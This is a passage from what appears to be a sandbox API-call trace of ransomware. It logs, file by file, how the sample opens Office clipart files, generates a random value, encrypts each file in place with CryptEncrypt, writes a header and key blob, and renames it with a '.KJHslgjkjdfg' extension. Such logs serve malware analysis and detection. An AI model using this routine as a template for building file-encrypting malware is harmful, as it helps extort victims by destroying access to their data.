lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.891] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.891] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.891] GetProcessHeap () returned 0x2ef0000 [0195.891] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.891] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.891] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.892] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.892] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.892] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.892] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.892] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.892] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.892] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.892] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x61c, lpOverlapped=0x0) returned 1 [0195.892] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x620, dwBufLen=0x620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x620) returned 1 [0195.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.892] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x620, lpOverlapped=0x0) returned 1 [0195.892] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.892] SetEndOfFile (hFile=0x130) returned 1 [0195.894] GetProcessHeap () returned 0x2ef0000 [0195.894] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.895] GetProcessHeap () returned 0x2ef0000 [0195.895] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.kjhslgjkjdfg")) returned 1 [0195.895] CloseHandle (hObject=0x130) returned 1 [0195.895] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0195.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.896] GetProcessHeap () returned 0x2ef0000 [0195.897] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.897] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.897] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.899] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.899] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.899] GetProcessHeap () returned 0x2ef0000 [0195.899] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.899] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.899] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.899] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.899] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.899] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.899] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.899] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.900] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.900] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.900] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.900] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1234, lpOverlapped=0x0) returned 1 [0195.900] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1240, dwBufLen=0x1240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1240) returned 1 [0195.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.901] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1240, lpOverlapped=0x0) returned 1 [0195.901] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.901] SetEndOfFile (hFile=0x130) returned 1 [0195.903] GetProcessHeap () returned 0x2ef0000 [0195.903] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.903] GetProcessHeap () returned 0x2ef0000 [0195.903] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.kjhslgjkjdfg")) returned 1 [0195.904] CloseHandle (hObject=0x130) returned 1 [0195.904] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0195.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.905] GetProcessHeap () returned 0x2ef0000 [0195.905] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.906] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.906] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.906] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.908] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.908] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.908] GetProcessHeap () returned 0x2ef0000 [0195.908] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.908] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.908] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.908] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.908] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.908] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.908] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.909] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.909] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.909] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.909] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf94, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf94, lpOverlapped=0x0) returned 1 [0195.909] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfa0) returned 1 [0195.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.909] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xfa0, lpOverlapped=0x0) returned 1 [0195.909] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.909] SetEndOfFile (hFile=0x130) returned 1 [0195.912] GetProcessHeap () returned 0x2ef0000 [0195.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.912] GetProcessHeap () returned 0x2ef0000 [0195.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.kjhslgjkjdfg")) returned 1 [0195.912] CloseHandle (hObject=0x130) returned 1 [0195.912] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0195.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.915] GetProcessHeap () returned 0x2ef0000 [0195.915] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.915] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.915] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.917] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.917] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.917] GetProcessHeap () returned 0x2ef0000 [0195.917] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.917] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.917] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.917] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.917] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.917] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.917] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.917] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.917] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.917] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.918] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa4c, lpOverlapped=0x0) returned 1 [0195.918] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa50, dwBufLen=0xa50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa50) returned 1 [0195.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.918] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa50, lpOverlapped=0x0) returned 1 [0195.918] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.918] SetEndOfFile (hFile=0x130) returned 1 [0195.920] GetProcessHeap () returned 0x2ef0000 [0195.920] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.920] GetProcessHeap () returned 0x2ef0000 [0195.920] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.kjhslgjkjdfg")) returned 1 [0195.921] CloseHandle (hObject=0x130) returned 1 [0195.921] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0195.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.922] GetProcessHeap () returned 0x2ef0000 [0195.922] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.922] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.922] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.922] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.922] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.922] GetProcessHeap () returned 0x2ef0000 [0195.922] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.922] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.922] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.922] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.924] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, 